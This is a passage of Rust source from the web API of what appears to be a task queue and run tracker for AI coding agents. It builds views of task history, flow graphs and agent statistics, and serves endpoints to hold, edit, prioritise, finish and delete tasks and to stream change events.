4540 RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
4541 )
4542 {
4543 String::new()
4544 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
4545 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
4546 {
4547 " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
4548 .to_owned()
4549 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
4550 " It left a pull request open, so the task was held for a person rather than retried."
4551 .to_owned()
4552 } else if matches!(status, RunStatus::VerifiedNoop) {
4553 " Held for a person to check the claim.".to_owned()
4554 } else if last {
4555 " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
4556 } else {
4557 " It spent an attempt, and the task moved on to the next run.".to_owned()
4558 };
4559 let exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
4560 TaskRunView {
4561 n,
4562 id: id.to_owned(),
4563 short,
4564 kind,
4565 status: Some(status.as_str()),
4566 readable: true,
4567 provisional,
4568 description,
4569 outcome: format!("{head}{why}"),
4570 created_at: Some(s.created_at),
4571 pr: s.pr.as_ref().map(|p| p.url.clone()),
4572 exit,
4573 attempt: exit.cost(),
4574 branch: branch.map(str::to_owned),
4575 }
4576}
4577
4578#[derive(Debug, Serialize, PartialEq)]
4580struct FlowNode {
4581 key: String,
4583 kind: &'static str,
4585 label: String,
4586 status: Option<&'static str>,
4589 status_of: &'static str,
4592 note: Option<&'static str>,
4594 run_kind: Option<&'static str>,
4595 detail: Option<String>,
4596 decided: bool,
4598 readable: bool,
4599 href: Option<String>,
4600}
4601
4602#[derive(Debug, Serialize, PartialEq)]
4603struct FlowEdge {
4604 from: String,
4605 to: String,
4606 label: String,
4607 attempt: AttemptCost,
4608}
4609
4610#[derive(Debug, Serialize, PartialEq)]
4611struct FlowView {
4612 nodes: Vec<FlowNode>,
4613 edges: Vec<FlowEdge>,
4614 attempts: usize,
4616 max_attempts: usize,
4617}
4618
4619fn task_flow(
4628 task: &Task,
4629 history: &[TaskRunView],
4630 max_attempts: usize,
4631 origin: Option<&FollowUpOrigin>,
4632) -> FlowView {
4633 let node = |key: &str, kind, label: String| FlowNode {
4634 key: key.to_owned(),
4635 kind,
4636 label,
4637 status: None,
4638 status_of: "run",
4639 note: None,
4640 run_kind: None,
4641 detail: None,
4642 decided: false,
4643 readable: true,
4644 href: None,
4645 };
4646 let mut nodes = Vec::new();
4647 let mut edges: Vec<FlowEdge> = Vec::new();
4648 if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
4650 let mut n = node(
4651 "chat",
4652 "chat",
4653 format!("Chat {}", crate::queue::short(&link.id)),
4654 );
4655 n.href = Some(link.href);
4656 nodes.push(n);
4657 edges.push(FlowEdge {
4658 from: "chat".to_owned(),
4659 to: if origin.is_some() { "origin" } else { "start" }.to_owned(),
4660 label: "queued from chat".to_owned(),
4661 attempt: AttemptCost::None,
4662 });
4663 }
4664 if let Some(o) = origin {
4665 let mut n = match &o.parent {
4666 Some(p) => {
4667 let mut n = node("origin", "followup", format!("Follow-up of {}", p.short));
4668 n.status = Some(p.status);
4669 n.status_of = "task";
4670 n.detail = Some(p.title.clone()).filter(|t| !t.is_empty());
4671 n.href = Some(p.href.clone());
4672 n
4673 }
4674 None => {
4675 let mut n = node(
4676 "origin",
4677 "followup",
4678 format!("Follow-up of run {}", o.run.short),
4679 );
4680 n.detail = Some("merged run".to_owned());
4681 n.status = o.run.status;
4682 n.href = o.run.href.clone();
4683 if o.run.href.is_none() {
4684 n.readable = false;
4685 n.note = Some("unreadable");
4686 }
4687 n
4688 }
4689 };
4690 n.decided = true;
4691 let from = n.key.clone();
4692 nodes.push(n);
4693 let shown: Vec<&str> = o.findings.iter().take(3).map(String::as_str).collect();
4694 let more = o.findings.len().saturating_sub(shown.len());
4695 let label = match (shown.is_empty(), more) {
4696 (true, _) => "open findings".to_owned(),
4697 (false, 0) => format!("open findings {}", shown.join(", ")),
4698 (false, m) => format!("open findings {} +{m} more", shown.join(", ")),
4699 };
4700 edges.push(FlowEdge {
4701 from,
4702 to: "start".to_owned(),
4703 label,
4704 attempt: AttemptCost::None,
4705 });
4706 }
4707 nodes.push(node("start", "start", "Task queued".to_owned()));
4708 let mut prev = "start".to_owned();
4709 let mut prev_exit: Option<(RunExit, Option<&str>)> = None;
4710 for (i, h) in history.iter().enumerate() {
4711 let key = format!("run-{}", h.n);
4712 let mut n = node(&key, "run", format!("Run {}", h.short));
4713 n.run_kind = Some(h.kind);
4714 n.readable = h.readable;
4715 n.href = Some(format!("#/runs/{}", h.id));
4716 n.decided = h.readable && !h.provisional;
4717 n.detail = h
4718 .branch
4719 .as_ref()
4720 .map(|b| format!("review-only run of branch {b}"));
4721 match h.exit {
4722 RunExit::Unreadable => n.note = Some("unreadable"),
4723 RunExit::Interrupted => n.note = Some("interrupted"),
4724 _ => {
4725 n.status = h.status;
4726 if h.provisional {
4727 n.note = Some("no verdict");
4728 }
4729 }
4730 }
4731 let into = match h.kind {
4732 "review" => Some(format!(
4733 "review-only run of branch {}",
4734 h.branch.as_deref().unwrap_or("?")
4735 )),
4736 "resume" => Some("resume the same run".to_owned()),
4737 _ if i > 0 => Some("retry".to_owned()),
4738 _ => None,
4739 };
4740 let label = match (prev_exit, into) {
4741 (Some((e, st)), Some(i)) => format!("{} \u{2192} {i}", e.edge_label(st)),
4742 (Some((e, st)), None) => e.edge_label(st),
4743 (None, Some(i)) => i,
4744 (None, None) => "claimed".to_owned(),
4745 };
4746 edges.push(FlowEdge {
4747 from: prev.clone(),
4748 to: key.clone(),
4749 label,
4750 attempt: prev_exit.map_or(AttemptCost::None, |(e, _)| e.cost()),
4751 });
4752 prev_exit = Some((h.exit, h.status));
4753 prev = key;
4754 nodes.push(n);
4755 }
4756 let mut end = node("end", "end", task.status.as_str().to_owned());
4757 end.status = Some(task.status.as_str());
4758 end.status_of = "task";
4759 nodes.push(end);
4760 let (label, attempt) = match prev_exit {
4761 None => (
4762 format!("no run yet \u{2192} {}", task.status.as_str()),
4763 AttemptCost::None,
4764 ),
4765 Some((e, st)) if e.explains(task.status) => (
4766 format!("{} \u{2192} {}", e.edge_label(st), task.status.as_str()),
4767 e.cost(),
4768 ),
4769 Some((e, _)) => (
4770 format!("closed by hand: task is {}", task.status.as_str()),
4771 e.cost(),
4772 ),
4773 };
4774 edges.push(FlowEdge {
4775 from: prev,
4776 to: "end".to_owned(),
4777 label,
4778 attempt,
4779 });
4780 FlowView {
4781 nodes,
4782 edges,
4783 attempts: task.attempts,
4784 max_attempts,
4785 }
4786}
4787
4788fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
4791 let mut history = Vec::with_capacity(task.runs.len());
4792 let mut seen: Vec<&str> = Vec::new();
4793 let mut prior: Option<(&str, RunStatus)> = None;
4794 for (i, run_id) in task.runs.iter().enumerate() {
4795 let state = read(run_id);
4796 let resumed = seen.contains(&run_id.as_str());
4797 seen.push(run_id);
4798 history.push(task_run_view(
4799 run_id,
4800 state.as_ref(),
4801 RunSlot {
4802 n: i + 1,
4803 resumed,
4804 resumed_later: task.runs[i + 1..]
4805 .iter()
4806 .position(|r| r == run_id)
4807 .map(|off| i + off + 2),
4808 prior,
4809 last: i + 1 == task.runs.len(),
4810 },
4811 task,
4812 ));
4813 if let Some(s) = &state {
4814 prior = Some((run::short_of(run_id), s.status));
4815 }
4816 }
4817 history
4818}
4819
4820async fn task_detail(
4821 State(ui): State<Arc<Ui>>,
4822 Path(id): Path<String>,
4823) -> ApiResult<Json<TaskDetailView>> {
4824 blocking(move || {
4825 let id = resolve_task(&ui.queue, &id)?;
4826 let task = ui
4827 .queue
4828 .get(&id)
4829 .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
4830 let inv = crate::blockers::Inventory::new(ui.queue.list(), &ui.questions.list());
4831 let history = task_history(&task, |id| read_run(&ui.runs, id).ok());
4832 let runs_unreadable = history.iter().filter(|h| !h.readable).count();
4833 let max_attempts = daemon::Opts::default().max_attempts;
4834 let origin = task.followup.as_ref().map(|fu| {
4835 followup_origin(
4836 fu,
4837 |tid| ui.queue.get(tid).ok(),
4838 |rid| read_run(&ui.runs, rid).ok(),
4839 )
4840 });
4841 let flow = task_flow(&task, &history, max_attempts, origin.as_ref());
4842 Ok(Json(TaskDetailView {
4843 max_attempts,
4844 flow,
4845 followup_origin: origin,
4846 history,
4847 runs_unreadable,
4848 attempts_note: ATTEMPTS_NOTE,
4849 task: TaskView::with_inventory(task, &inv),
4850 }))
4851 })
4852 .await
4853}
4854
4855#[derive(Debug, Serialize)]
4859struct RateView {
4860 pct: f64,
4861 denominator: usize,
4862}
4863
4864impl RateView {
4865 fn of(numerator: usize, denominator: usize) -> Option<Self> {
4866 (denominator > 0).then(|| Self {
4867 pct: 100.0 * numerator as f64 / denominator as f64,
4868 denominator,
4869 })
4870 }
4871}
4872
4873#[derive(Debug, Serialize)]
4878struct StatsTotalsView {
4879 runs: usize,
4880 merged: usize,
4881 ready: usize,
4882 blocked: usize,
4883 failed: usize,
4884 stalled: usize,
4885 verified_noop: usize,
4886 superseded: usize,
4887 in_progress: usize,
4888 completion_rate: Option<RateView>,
4889 tallied: usize,
4890 split: usize,
4891 split_rate: Option<RateView>,
4892 deliberated: usize,
4893 minds_changed: usize,
4894 converged: usize,
4895 review_rounds: usize,
4896}
4897
4898impl From<&stats::Totals> for StatsTotalsView {
4899 fn from(t: &stats::Totals) -> Self {
4900 Self {
4901 runs: t.runs,
4902 merged: t.merged,
4903 ready: t.ready,
4904 blocked: t.blocked,
4905 failed: t.failed,
4906 stalled: t.stalled,
4907 verified_noop: t.verified_noop,
4908 superseded: t.superseded,
4909 in_progress: t.in_progress,
4910 completion_rate: RateView::of(t.merged + t.ready, t.runs),
4911 tallied: t.tallied,
4912 split: t.split,
4913 split_rate: RateView::of(t.split, t.tallied),
4914 deliberated: t.deliberated,
4915 minds_changed: t.minds_changed,
4916 converged: t.converged,
4917 review_rounds: t.review_rounds,
4918 }
4919 }
4920}
4921
4922#[derive(Debug, Serialize)]
4924struct AgentStatsView {
4925 agent: String,
4926 entered: usize,
4927 wins: usize,
4928 empty: usize,
4929 win_rate: Option<RateView>,
4930 competitive_entered: usize,
4931 competitive_wins: usize,
4932 competitive_win_rate: Option<RateView>,
4933 solo_entered: usize,
4934 solo_adopted: usize,
4935 solo_adoption_rate: Option<RateView>,
4936}
4937
4938impl From<&stats::AgentStats> for AgentStatsView {
4939 fn from(a: &stats::AgentStats) -> Self {
4940 Self {
4941 agent: a.agent.clone(),
4942 entered: a.entered,
4943 wins: a.wins,
4944 empty: a.empty,
4945 win_rate: RateView::of(a.wins, a.entered),
4946 competitive_entered: a.competitive_entered,
4947 competitive_wins: a.competitive_wins,
4948 competitive_win_rate: RateView::of(a.competitive_wins, a.competitive_entered),
4949 solo_entered: a.solo_entered,
4950 solo_adopted: a.solo_adopted,
4951 solo_adoption_rate: RateView::of(a.solo_adopted, a.solo_entered),
4952 }
4953 }
4954}
4955
4956#[derive(Debug, Serialize)]
4960struct ReviewerStatsView {
4961 agent: String,
4962 rounds: usize,
4963 seated: usize,
4964 submitted: usize,
4965 adopted: usize,
4966 unique: usize,
4967 timeouts: usize,
4968 adopted_per_round: Option<f64>,
4969 precision: Option<RateView>,
4970 unique_rate: Option<RateView>,
4971 timeout_rate: Option<RateView>,
4972}
4973
4974impl From<&stats::ReviewerStats> for ReviewerStatsView {
4975 fn from(r: &stats::ReviewerStats) -> Self {
4976 Self {
4977 agent: r.agent.clone(),
4978 rounds: r.rounds,
4979 seated: r.seated,
4980 submitted: r.submitted,
4981 adopted: r.adopted,
4982 unique: r.unique,
4983 timeouts: r.timeouts,
4984 adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
4985 precision: RateView::of(r.adopted, r.submitted),
4986 unique_rate: RateView::of(r.unique, r.submitted),
4987 timeout_rate: RateView::of(r.timeouts, r.seated),
4988 }
4989 }
4990}
4991
4992#[derive(Debug, Serialize)]
4998struct AdvisorStatsView {
4999 agent: String,
5000 seated: usize,
5001 proposed: usize,
5002 absent: usize,
5003 faint: usize,
5004 strong: usize,
5005 reflection_rate: Option<RateView>,
5006}
5007
5008impl From<&stats::AdvisorStats> for AdvisorStatsView {
5009 fn from(a: &stats::AdvisorStats) -> Self {
5010 Self {
5011 agent: a.agent.clone(),
5012 seated: a.seated,
5013 proposed: a.proposed,
5014 absent: a.absent,
5015 faint: a.faint,
5016 strong: a.strong,
5017 reflection_rate: RateView::of(a.strong, a.proposed),
5018 }
5019 }
5020}
5021
5022#[derive(Debug, Serialize)]
5024struct E2eStatsView {
5025 rounds: usize,
5026 failures: usize,
5027 sole_detections: usize,
5028 deferred: usize,
5029 sole_rate: Option<RateView>,
5030}
5031
5032impl From<&stats::E2eStats> for E2eStatsView {
5033 fn from(e: &stats::E2eStats) -> Self {
5034 Self {
5035 rounds: e.rounds,
5036 failures: e.failures,
5037 sole_detections: e.sole_detections,
5038 deferred: e.deferred,
5039 sole_rate: RateView::of(e.sole_detections, e.failures),
5040 }
5041 }
5042}
5043
5044#[derive(Debug, Serialize)]
5052struct ReleaseBumpStatsView {
5053 merged: usize,
5054 recorded: usize,
5055 pr_opened: usize,
5056 automerge_enabled: usize,
5057 merged_directly: usize,
5058 needs_attention: usize,
5059 clean: usize,
5060 coverage_rate: Option<RateView>,
5061 automerge_rate: Option<RateView>,
5062 attention_rate: Option<RateView>,
5063}
5064
5065impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
5066 fn from(b: &stats::ReleaseBumpStats) -> Self {
5067 Self {
5068 merged: b.merged,
5069 recorded: b.recorded,
5070 pr_opened: b.pr_opened,
5071 automerge_enabled: b.automerge_enabled,
5072 merged_directly: b.merged_directly,
5073 needs_attention: b.needs_attention,
5074 clean: b.clean(),
5075 coverage_rate: RateView::of(b.recorded, b.merged),
5076 automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
5077 attention_rate: RateView::of(b.needs_attention, b.recorded),
5078 }
5079 }
5080}
5081
5082#[derive(Debug, Serialize)]
5084struct TaskCountsView {
5085 queued: usize,
5086 running: usize,
5087 done: usize,
5088 failed: usize,
5089 held: usize,
5090 blocked: usize,
5091 parked: usize,
5092}
5093
5094impl From<crate::queue::TaskCounts> for TaskCountsView {
5095 fn from(c: crate::queue::TaskCounts) -> Self {
5096 Self {
5097 queued: c.queued,
5098 running: c.running,
5099 done: c.done,
5100 failed: c.failed,
5101 held: c.held,
5102 blocked: c.blocked,
5103 parked: c.parked,
5104 }
5105 }
5106}
5107
5108#[derive(Debug, Serialize)]
5114struct RepoSummaryView {
5115 repo: String,
5118 name: String,
5120 runs: usize,
5121 completion_rate: Option<RateView>,
5122}
5123
5124impl From<&stats::RepoStats> for RepoSummaryView {
5125 fn from(r: &stats::RepoStats) -> Self {
5126 let t = &r.stats.totals;
5127 Self {
5128 repo: r.repo.to_string_lossy().into_owned(),
5129 name: r.name.clone(),
5130 runs: t.runs,
5131 completion_rate: RateView::of(t.merged + t.ready, t.runs),
5132 }
5133 }
5134}
5135
5136#[derive(Debug, Serialize)]
5142struct StatsView {
5143 totals: StatsTotalsView,
5144 agents: Vec<AgentStatsView>,
5146 reviewers: Vec<ReviewerStatsView>,
5148 advisors: Vec<AdvisorStatsView>,
5150 e2e: E2eStatsView,
5151 release_bumps: ReleaseBumpStatsView,
5152 queue: TaskCountsView,
5153 runs_unreadable: usize,
5163 repos: Vec<RepoSummaryView>,
5167 daily: Vec<DailyStatsView>,
5172 repo: Option<String>,
5176 retired_hidden: Vec<String>,
5180}
5181
5182#[derive(Debug, Serialize)]
5184struct DailyStatsView {
5185 date: String,
5187 runs: usize,
5188 merged: usize,
5189 ready: usize,
5190 other: usize,
5191 completion_rate: Option<RateView>,
5193}
5194
5195impl From<&stats::DayBucket> for DailyStatsView {
5196 fn from(b: &stats::DayBucket) -> Self {
5197 Self {
5198 date: b.date.to_string(),
5199 runs: b.runs,
5200 merged: b.merged,
5201 ready: b.ready,
5202 other: b.other,
5203 completion_rate: RateView::of(b.merged + b.ready, b.runs),
5204 }
5205 }
5206}
5207
5208const STATS_DAILY_DAYS: usize = 30;
5210
5211#[derive(Debug, Default, Deserialize)]
5220#[serde(default)]
5221struct StatsQuery {
5222 repo: Option<String>,
5223 all: bool,
5225}
5226
5227async fn stats_get(
5234 State(ui): State<Arc<Ui>>,
5235 Query(q): Query<StatsQuery>,
5236) -> ApiResult<Json<StatsView>> {
5237 blocking(move || {
5238 let states: Vec<RunState> = run_ids(&ui.runs)
5239 .into_iter()
5240 .filter_map(|id| read_run(&ui.runs, &id).ok())
5241 .collect();
5242 let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
5243 .iter()
5244 .map(RepoSummaryView::from)
5245 .collect();
5246 let mut scoped: Vec<&RunState> = states.iter().collect();
5247 let mut collected = match &q.repo {
5248 Some(repo) => {
5249 let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
5250 if filtered.is_empty() {
5251 return Err(ApiError::not_found(format!(
5252 "no runs recorded against repo `{repo}`"
5253 )));
5254 }
5255 scoped = filtered.clone();
5256 stats::collect_refs(filtered)
5257 }
5258 None => stats::collect(&states),
5259 };
5260 if !q.all {
5261 let repo = q
5262 .repo
5263 .as_deref()
5264 .map_or_else(|| ui.repo.clone(), PathBuf::from);
5265 stats::retain_current_roster(&mut collected, &repo);
5266 }
5267 let daily = stats::daily(
5268 scoped,
5269 jiff::Zoned::now().date(),
5270 &jiff::tz::TimeZone::system(),
5271 STATS_DAILY_DAYS,
5272 );
5273 let queue_counts = crate::queue::TaskCounts::of(&ui.queue.list());
5274 Ok(Json(StatsView {
5275 totals: StatsTotalsView::from(&collected.totals),
5276 agents: collected.agents.iter().map(AgentStatsView::from).collect(),
5277 reviewers: collected
5278 .reviewers
5279 .iter()
5280 .map(ReviewerStatsView::from)
5281 .collect(),
5282 advisors: collected
5283 .advisors
5284 .iter()
5285 .map(AdvisorStatsView::from)
5286 .collect(),
5287 e2e: E2eStatsView::from(&collected.e2e),
5288 release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
5289 queue: TaskCountsView::from(queue_counts),
5290 runs_unreadable: runs_unreadable(&ui.runs),
5291 repos,
5292 daily: daily.iter().map(DailyStatsView::from).collect(),
5293 repo: q.repo.clone(),
5294 retired_hidden: collected.retired_hidden.clone(),
5295 }))
5296 })
5297 .await
5298}
5299
5300#[derive(Debug, Default, Deserialize)]
5303#[serde(default, deny_unknown_fields)]
5304struct HoldBody {
5305 reason: Option<String>,
5306}
5307
5308async fn queue_hold(
5309 State(ui): State<Arc<Ui>>,
5310 Path(id): Path<String>,
5311 body: std::result::Result<Json<HoldBody>, JsonRejection>,
5312) -> ApiResult<Json<TaskView>> {
5313 let body = match body {
5317 Ok(Json(body)) => body,
5318 Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
5319 Err(e) => return Err(ApiError::bad_request(e.body_text())),
5320 };
5321 let reason = body.reason.filter(|r| !r.trim().is_empty());
5322 mutate(ui, id, move |t| {
5323 t.hold_manual(reason.clone());
5324 Ok(())
5325 })
5326 .await
5327}
5328
5329async fn queue_release(
5330 State(ui): State<Arc<Ui>>,
5331 Path(id): Path<String>,
5332) -> ApiResult<Json<TaskView>> {
5333 mutate(ui, id, |t| {
5334 t.release();
5335 Ok(())
5336 })
5337 .await
5338}
5339
5340#[derive(Debug, Deserialize)]
5342#[serde(deny_unknown_fields)]
5343struct PriorityBody {
5344 priority: i32,
5345}
5346
5347async fn queue_priority(
5353 State(ui): State<Arc<Ui>>,
5354 Path(id): Path<String>,
5355 body: std::result::Result<Json<PriorityBody>, JsonRejection>,
5356) -> ApiResult<Json<TaskView>> {
5357 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5358 mutate(ui, id, move |t| t.set_priority(body.priority)).await
5359}
5360
5361#[derive(Debug, Deserialize)]
5363#[serde(deny_unknown_fields)]
5364struct EditBody {
5365 title: String,
5366 instruction: String,
5367 #[serde(default)]
5370 force: bool,
5371}
5372
5373async fn queue_edit(
5377 State(ui): State<Arc<Ui>>,
5378 Path(id): Path<String>,
5379 body: std::result::Result<Json<EditBody>, JsonRejection>,
5380) -> ApiResult<Json<TaskView>> {
5381 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5382 let mut judged: Option<(String, PathBuf)> = None;
5386 if !body.force {
5387 let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
5388 let (id, text) = (id.clone(), body.instruction.clone());
5389 let (seen, hits) = blocking(move || {
5390 let id = resolve_task(&queue, &id)?;
5391 let t = queue.get(&id)?;
5392 if text == t.instruction {
5393 return Ok((None, Vec::new()));
5394 }
5395 let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
5396 Ok((Some((t.instruction, t.repo)), hits))
5397 })
5398 .await?;
5399 if let Some((_, repo)) = &seen {
5400 let cfg = crate::config::Config::discover(repo, None)
5401 .ok()
5402 .map(|(c, _)| c);
5403 let screened =
5404 crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
5405 .await
5406 .map_err(|dup| {
5407 ApiError::conflict(dup.render(
5408 "Nothing was saved. If it is not a duplicate, repeat the request \
5409 with \"force\": true.",
5410 ))
5411 })?;
5412 if let crate::dupes::Screened::Unjudged(why) = screened {
5413 tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
5414 }
5415 }
5416 judged = seen;
5417 }
5418 let force = body.force;
5419 mutate(ui, id, move |t| {
5420 if !force && body.instruction != t.instruction {
5421 match &judged {
5422 Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
5423 _ => {
5424 anyhow::bail!("the task changed while it was being checked; repeat the request")
5425 }
5426 }
5427 }
5428 t.edit(body.title.clone(), body.instruction.clone())
5429 })
5430 .await
5431}
5432
5433async fn queue_done(
5441 State(ui): State<Arc<Ui>>,
5442 Path(id): Path<String>,
5443) -> ApiResult<Json<TaskView>> {
5444 let home = ui.home.clone();
5445 mutate(ui, id, move |t| {
5446 t.succeed();
5447 crate::daemon::supersede_prior_runs(t, &home);
5455 Ok(())
5456 })
5457 .await
5458}
5459
5460async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
5468 blocking(move || {
5469 let id = resolve_task(&ui.queue, &id)?;
5470 let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
5471 ui.queue
5472 .remove(&id, in_flight, &ui.questions)
5473 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
5474 Ok(StatusCode::NO_CONTENT)
5475 })
5476 .await
5477}
5478
5479async fn mutate(
5488 ui: Arc<Ui>,
5489 id: String,
5490 change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
5491) -> ApiResult<Json<TaskView>> {
5492 blocking(move || {
5493 let id = resolve_task(&ui.queue, &id)?;
5494 let _claim = ui.queue.claim(&id).map_err(|e| {
5499 ApiError::conflict(format!(
5500 "{e:#} - a daemon is running this task, so it cannot be \
5501 changed from here yet"
5502 ))
5503 })?;
5504 let mut task = ui.queue.get(&id)?;
5505 change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
5506 Ok(dup) => ApiError::conflict(dup.render(
5507 "Nothing was saved. If it is not a duplicate, repeat the request with \
5508 \"force\": true.",
5509 )),
5510 Err(e) => ApiError::bad_request_from(e),
5511 })?;
5512 ui.queue.put(&mut task)?;
5513 Ok(Json(TaskView::from(task)))
5514 })
5515 .await
5516}
5517
5518async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
5526 let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
5527 tokio::spawn(async move {
5528 let mut ticker = tokio::time::interval(POLL);
5529 let mut last: Option<(u64, u64, u64, u64, u64, u64)> = None;
5530 let mut stamps: Option<[Stamps; 3]> = None;
5531 loop {
5532 ticker.tick().await;
5535 let state = Arc::clone(&ui);
5536 let revisions = tokio::task::spawn_blocking(move || {
5537 let stamps = [
5538 store_stamps(state.queue.root(), false),
5539 store_stamps(&state.runs, true),
5540 store_stamps(state.talks.root(), false),
5541 ];
5542 let revisions = (
5543 stamps_revision(&stamps[0]),
5544 stamps_revision(&stamps[1]),
5545 state.questions.revision(),
5546 stamps_revision(&stamps[2]),
5547 state.notices.revision(),
5548 state.lock_loop().rev,
5552 );
5553 (revisions, stamps)
5554 })
5555 .await;
5556 let Ok((revisions, next_stamps)) = revisions else {
5557 break;
5558 };
5559 if last == Some(revisions) {
5560 continue;
5561 }
5562 let mut payload = serde_json::json!({
5563 "queue_rev": revisions.0,
5564 "runs_rev": revisions.1,
5565 "questions_rev": revisions.2,
5566 "talks_rev": revisions.3,
5567 "notifications_rev": revisions.4,
5568 "loop_rev": revisions.5,
5569 });
5570 if let (Some(base), Some(previous)) = (last, stamps.as_ref()) {
5571 for (index, (key, rev)) in [
5572 ("queue_delta", base.0),
5573 ("runs_delta", base.1),
5574 ("talks_delta", base.3),
5575 ]
5576 .into_iter()
5577 .enumerate()
5578 {
5579 let delta = diff_stamps(&previous[index], &next_stamps[index], rev);
5580 if delta.changed.len() + delta.removed.len() > 0 && delta.changed.len() <= 50 {
5582 payload[key] = serde_json::to_value(delta).expect("serializable delta");
5583 }
5584 }
5585 }
5586 last = Some(revisions);
5587 stamps = Some(next_stamps);
5588 let Ok(event) = Event::default().event("change").json_data(payload) else {
5590 break;
5591 };
5592 if tx.send(event).await.is_err() {
5593 break;
5594 }
5595 }
5596 });
5597 Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
5598 .keep_alive(KeepAlive::new().interval(KEEPALIVE))
5599}
5600
5601type Stamps = HashMap<String, (u128, u64)>;
5602
5603fn store_stamps(root: &FsPath, runs: bool) -> Stamps {
5605 std::fs::read_dir(root)
5606 .into_iter()
5607 .flatten()
5608 .flatten()
5609 .filter_map(|entry| {
5610 let path = if runs {
5611 entry.path().join("run.json")
5612 } else {
5613 entry.path()
5614 };
5615 if !runs && path.extension().is_none_or(|ext| ext != "json") {
5616 return None;
5617 }
5618 let metadata = path.metadata().ok()?;
5619 let modified = metadata
5620 .modified()
5621 .ok()?
5622 .duration_since(std::time::UNIX_EPOCH)
5623 .ok()?;
5624 let id = if runs {
5625 entry.file_name().to_string_lossy().into_owned()
5626 } else {
5627 path.file_stem()?.to_string_lossy().into_owned()
5628 };
5629 Some((id, (modified.as_nanos(), metadata.len())))
5630 })
5631 .collect()
5632}
5633
5634#[derive(Debug, Serialize)]
5635struct Delta {
5636 base: u64,
5637 changed: Vec<String>,
5638 removed: Vec<String>,
5639}
5640
5641fn diff_stamps(previous: &Stamps, next: &Stamps, base: u64) -> Delta {
5642 let mut changed: Vec<_> = next
5643 .iter()
5644 .filter(|(id, stamp)| previous.get(*id) != Some(*stamp))
5645 .map(|(id, _)| id.clone())
5646 .collect();
5647 let mut removed: Vec<_> = previous
5648 .keys()
5649 .filter(|id| !next.contains_key(*id))
5650 .cloned()
5651 .collect();
5652 changed.sort_unstable();
5653 removed.sort_unstable();
5654 Delta {
5655 base,
5656 changed,
5657 removed,
5658 }
5659}
5660
5661fn runs_revision(runs: &FsPath) -> u64 {
5668 stamps_revision(&store_stamps(runs, true))
5669}
5670
5671fn stamps_revision(stamps: &Stamps) -> u64 {
5675 use std::hash::{Hash as _, Hasher as _};
5676 if stamps.is_empty() {
5677 return 0;
5678 }
5679 let mut entries: Vec<_> = stamps.iter().collect();
5680 entries.sort_unstable();
5681 let mut hasher = std::hash::DefaultHasher::new();
5682 entries.hash(&mut hasher);
5683 hasher.finish().max(1)
5684}
5685
5686fn run_ids(runs: &FsPath) -> Vec<String> {
5692 let mut ids: Vec<String> = std::fs::read_dir(runs)
5693 .into_iter()
5694 .flatten()
5695 .flatten()
5696 .filter(|e| e.path().join("run.json").is_file())
5697 .map(|e| e.file_name().to_string_lossy().into_owned())
5698 .collect();
5699 ids.sort_unstable_by(|a, b| b.cmp(a));
5701 ids
5702}
5703
5704fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
5706 let path = runs.join(id).join("run.json");
5707 let body =
5708 std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
5709 let state: RunState =
5710 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
5711 run::migrate_schema(state)
5716}
5717
5718#[must_use]
5726pub fn runs_unreadable(runs: &FsPath) -> usize {
5727 run_ids(runs)
5728 .into_iter()
5729 .filter(|id| read_run(runs, id).is_err())
5730 .count()
5731}
5732
5733fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
5735 if runs.join(id).join("run.json").is_file() {
5736 return Ok(id.to_owned());
5737 }
5738 pick(run_ids(runs), id, "run")
5739}
5740
5741fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
5743 if queue.path_of(id).is_file() {
5744 return Ok(id.to_owned());
5745 }
5746 pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
5747}
5748
5749#[derive(Debug, Serialize)]
5760struct QuestionView {
5761 #[serde(flatten)]
5762 question: Question,
5763 detail_md: Vec<md::Node>,
5764 thread_bodies_md: Vec<Vec<md::Node>>,
5766 thread_notes_md: Vec<Option<Vec<md::Node>>>,
5769 waiting_on_agent: bool,
5779 holder: Option<&'static str>,
5783 deputies_enabled: bool,
5787 run_is_task: bool,
5790 origin_chat: Option<String>,
5795 origin_chat_closed: bool,
5797}
5798
5799impl QuestionView {
5800 fn of(question: Question, store: &ask::Questions, deputies_enabled: bool) -> Self {
5804 let base = md::ImageBase::QuestionPanel {
5805 id: question.id.clone(),
